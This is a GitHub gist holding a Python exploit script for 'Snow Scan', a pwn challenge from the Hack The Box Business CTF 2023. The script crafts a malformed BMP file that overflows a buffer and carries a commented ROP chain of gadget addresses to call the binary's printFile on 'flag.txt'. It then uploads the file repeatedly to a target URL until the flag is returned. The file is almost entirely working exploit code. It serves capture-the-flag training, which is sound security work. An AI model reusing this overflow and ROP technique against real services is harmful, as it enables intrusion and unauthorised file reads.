Skip to content

Instantly share code, notes, and snippets.

@mspraggs
Created August 21, 2023 21:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mspraggs/4dec65f913fc75b9c33c50fd3e01046e to your computer and use it in GitHub Desktop.
Save mspraggs/4dec65f913fc75b9c33c50fd3e01046e to your computer and use it in GitHub Desktop.
HTB Business CTF 2023 Snow Scan Exploit
#!/usr/bin/env python3
"""
Exploit for Snow Scan, a pwn challenge in the Hack The Box Business CTF 2023.
Full write-up here: https://mattspraggs.co.uk/hack-the-box-snow-scan.html
"""
import argparse
import io
from typing import Optional
from pwn import ELF, context, flat
import requests
BMP_SIGNATURE = b'BM'
FILE_SIZE = 0
RESERVED = 0
DATA_OFFSET = 54
HEADER_SIZE = 0
WIDTH = 20 # ADJUST THE WIDTH WITHIN THE ACCEPTABLE RANGE
HEIGHT = 20 # ADJUST THE HEIGHT WITHIN THE ACCEPTABLE RANGE
COLOR_PLANES = 0
BITS_PER_PIXEL = 0
COMPRESSION = 0
IMAGE_SIZE = 400
HORIZONTAL_RESOLUTION = 0
VERTICAL_RESOLUTION = 0
NUM_COLORS = 0
IMPORTANT_COLORS = 0
BMP_HEADER = (
BMP_SIGNATURE +
FILE_SIZE.to_bytes(4, 'little') +
RESERVED.to_bytes(4, 'little') +
DATA_OFFSET.to_bytes(4, 'little') +
HEADER_SIZE.to_bytes(4, 'little') +
WIDTH.to_bytes(4, 'little') +
HEIGHT.to_bytes(4, 'little') +
COLOR_PLANES.to_bytes(2, 'little') +
BITS_PER_PIXEL.to_bytes(2, 'little') +
COMPRESSION.to_bytes(4, 'little') +
IMAGE_SIZE.to_bytes(4, 'little') +
HORIZONTAL_RESOLUTION.to_bytes(4, 'little') +
VERTICAL_RESOLUTION.to_bytes(4, 'little') +
NUM_COLORS.to_bytes(4, 'little') +
IMPORTANT_COLORS.to_bytes(4, 'little')
)
def generate_bmp_payload(print_file_addr: int) -> bytes:
"""
Returns BMP bytes that overwrite the Snow Scan destination buffer.
Args:
print_file_addr (int): Address of the printFile function within the
binary.
Returns:
bytes: A sequence of BMP bytes that will overflow the destination buffer
in the snowscan binary.
"""
# Gadgets:
pop_rax = 0x4522e7 # pop rax; ret;
pop_rbp = 0x41aa18 # mov eax, 0xffffffff ; pop rbx ; pop rbp ; ret
push_rsp = 0x4247aa # push rsp ; and al, 0x18 ; mov qword ptr [rsp + 0x10], r8 ; call rax
mov_rax_rbp = 0x491652 # mov rax, rbp ; pop rbx ; pop rbp ; ret
pop_rdi = 0x401a72 # pop rdi; ret;
lea_rax = 0x431e83 # lea rax, [rax + rdi + 0x20] ; ret
push_rax = 0x456805 # push rax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
mov_rdi_rbx = 0x458224 # mov rdi, rbx ; call r12
ret = 0x40101a # ret;
flag_val = b'flag.txt\x00'
buf_off = 432 # Offset of pointer to start of buffer.
buf_byte = b'\xc7'
ret_off = buf_off + 1#57
delta_rsp = -0x235
padding = 0xdeadbeef
# Effective assembly from ROP chain:
# 0x4522e7 : pop rax ; Puts 0x41aa18 into rax
# [ret] ; Return to 0x4247aa
# 0x4247aa : push rsp
# and al, 0x18
# mov QWORD PTR [rsp+0x10], r8
# [call rax] ; Call 0x41aa18
# 0x41aa18 : mov eax, 0xffffffff
# pop rbx
# pop rbp
# [ret] ; Return to 0x491652
# 0x491652 : mov rax, rbp
# pop rbx
# pop rbp
# [ret] ; Return to 0x401a72
# 0x401a72 : pop rdi ; Puts -0x235 into rdi
# [ret] ; Return to 0x431e83
# 0x431e83 : lea rax, [rax+rdi*1+0x20] ; Offset rax to point at flag
# [ret] ; Return to 0x456805
# 0x456805 : push rax
# pop rbx ; We've moved rax into rbx
# pop rbp
# pop r12 ; Puts printFile into r12
# pop r13
# pop r14
# [ret] ; Return 0x458224
# 0x458224 : mov rdi, rbx ; Moves pointer to "flag.txt" into rdi
# call r12 ; Calls printFile
payload = flat(
{
buf_off: buf_byte,
ret_off: [
pop_rax,
pop_rbp,
push_rsp,
mov_rax_rbp,
padding,
padding,
pop_rdi,
delta_rsp,
lea_rax,
push_rax,
padding,
print_file_addr,
padding,
padding,
mov_rdi_rbx,
],
},
filler=flag_val,
)
return BMP_HEADER + payload
def run_exploit(url: str, bmp_payload: bytes, max_tries: int) -> Optional[str]:
"""
Uses the provided BMP payload to exploit Snow Scan at the provided URL.
Args:
url (str): The URL to run the exploit against.
bmp_payload (bytes): The exploit payload.
max_tries (int): The maximum number of exploitation attempts before giving
up.
Returns:
str: The flag.
"""
for _ in range(max_tries):
resp = requests.post(
url,
files={"file": ("exploit.bmp", bmp_payload)},
)
flag_pos = resp.text.find("HTB")
if flag_pos > -1:
return resp.text[flag_pos:].strip()
if __name__=='__main__':
parser = argparse.ArgumentParser(description="Snow Scan exploit")
parser.add_argument(
"-e",
"--elf_path",
type=str,
help="Path to the snowscan binary.",
required=True,
)
parser.add_argument(
"-b",
"--bmp_path",
type=str,
help="Path to the file to which to write the BMP payload.",
)
parser.add_argument(
"-u",
"--url",
type=str,
help="URL of the server to run the exploit against.",
)
parser.add_argument(
"-c",
"--max_tries",
type=int,
help="Number of exploitation attempts before giving up.",
default=100,
)
args = parser.parse_args()
if not args.bmp_path and not args.url:
parser.error("at least one of -b/--bmp_path and -u/--url required")
elf = context.binary = ELF(args.elf_path)
bmp_payload = generate_bmp_payload(elf.sym.printFile)
if args.bmp_path:
with open(args.bmp_path, 'wb') as f:
f.write(bmp_payload)
print(f"Wrote {len(bmp_payload)} bytes to file {args.bmp_path}")
if args.url:
flag = run_exploit(args.url, bmp_payload, args.max_tries)
if flag:
print(f"Flag: {flag}")
else:
print("Max retries reached!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment